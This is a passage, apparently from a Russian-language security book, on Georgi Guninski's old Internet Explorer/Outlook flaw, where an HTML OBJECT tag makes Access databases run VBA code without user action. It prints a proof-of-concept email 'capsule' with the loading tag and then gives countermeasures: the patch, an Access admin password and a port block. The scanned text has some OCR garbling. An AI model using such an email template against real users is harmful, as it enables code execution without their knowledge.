Онисание
Георгий Гунински не ограничил свои изыскания использованием дескрипторов HTML
в электронном сообщении для загрузки потенциально опасных элементов управления
ActiveX. В последующих информационных сообщениях, опубликованных на его узле,
сообщается, что с помощью этого же метода могут быть "запущены" и
потенциально опасные документы Microsoft Office ("поведение" этих
документов очень похоже на поведение элементов управления ActiveX). С результатами
исследований можно ознакомиться по адресу http://www.guninski.com/sheetex-desc.
html (для документов Excel и PowerPoint) и http://www.guninski.com/access-desc.
html (здесь описывается процедура запуска кода VBA, содержащегося в базах
данных Access).
Изъян, основанный на использовании Access, по мнению большинства специалистов
в области обеспечения безопасности, является более серьезным, поскольку справиться
с ним не помогают все те меры предосторожности, которые применяются для защиты
от элементов управления ActiveX. Даже если полностью запретить их использование,
система все равно остается уязвимой. Вот как высоко оценили серьезность этой
проблемы специалисты института SANS: "Возможно, это одна из самых опасных
ошибок, допущенных компанией Microsoft в программах для рабочих станций Windows
(всего ряда ~ 95, 98, 2000, NT 4.0)" (см. http://www.sans.org/newlook/
resources/win_flaw.htm). Грустно, что это замечание, которое на первый взгляд
наполнено сенсуализмом, на самом деле может оказаться не так далеко от истины.
Проблема заключается в том способе, который в системе Windows используется для
проверки файлов Access (.MDB) при их загрузке в Internet Explorer с помощью
дескриптора OBJECT, как показано в следующем фрагменте кода HTML, предоставленного
Георгием Гунински. <OBJECT data="db3.mdb" id="dl"x/OBJECT>
Как только Internet Explorer встречает дескриптор объекта, загружается база
данных Access, имя которой задано в параметре data=, а затем для ее открытия
вызывается программа Access. Это происходит перед тем, как пользователь получит
предупреждение о потенциальной опасности, которая при этом может возникнуть.
Таким образом, база данных будет запущена независимо от того, настроен IE/OutIook/OE
для запуска элементов управления ActiveX или нет. Ну и дела!
Пример Георгия основан на применении удаленного файла с именем db3.mdb, который
он разместил на своем Web-узле. Этот файл представляет собой базу данных Access,
где находится одна форма, запускающая текстовый редактор Wordpad. Вот еще одна
капсула для взлома электронной почты, демонстрирующая, как можно реализовать
эту атаку.
MIME-Version: 1.0
Content-Type: text /html; charset=us-ascii <HTML> <h2>Enticing message
here!</h2>
<OBJECT data="http: //www.guninski.com/db3.mdb" id="dl"></OBJECT>
</HTML>
В этом примере явно задан URL файла db3.mdb, Институтом SANS утверждается, что
при доступе и совместном использовании файлов Access через Internet применяется
протокол SMB. Просто поразительно, сколько FTP-серверов предоставляет свои ресурсы
для бесконтрольного размещения данных и доступа к ним.
Основной особенностью атак этого типа является то, что обработка этих простых
дескрипторов программами IE/Outlook/ОЕ приводит к запуску файлов, в которых
содержится мощный макрос VBA. При этом не требуется какого-либо вмешательства
пользователя. Неужели такая перспектива еще никого не встревожила?
Контрмеры
Запрещение использования элементов управления ActiveX не предотвратит возможности
реализации описанных атак. Поэтому нужно применить модуль обновления в соответствии
с инструкциями, приведенными по адресу http://www.
microsoft. com/technet/security/bulletin/MSOO-049.asp. Особое внимание следует
обратить на модуль обновления, предназначенный специально для устранения проблемы,
связанной с Access (компания Microsoft назвала ее изъяном "сценария IE"
("IE Script")). Этот модуль обновления можно получить по адресу http://www.
microsoft . com/windows /ie /download/critical /pa tchll .htm.
Компания Microsoft предлагает воспользоваться также следующими рекомендациями,
которые будут полезны независимо от того, был ли устаноштен модуль обновления.
Для Access нужно установить пароль администратора (по умолчанию он не используется).
Выполните для этого следующие действия.
1. Запустите Access 2000, но не открывайте никаких баз данных.
2. Выберите команду Tools^Security.
3. Выберите пункт User and Group Accounts.
4. Выберите пользователя Admin, который должен существовать по умолчанию.
5. Перейдите во вкладку Change Logon Password.
6. Если до этого не были внесены никакие изменения, пароль администратора должен
быть пустым.
7. Введите пароль администратора.
8. Для выхода щелкните на кнопке ОК.
Это должно предотвратить возможность запуска злонамеренного кода VBA и его работы
с высокими привилегиями. Специалисты SANS также отметили, что блокирование брандмауэром
исходящих запросов на совместное использование файлов Windows (порты TCP 139
и TCP 445) позволит уменьшить вероятность необдуманного запуска пользователями
удаленного кода.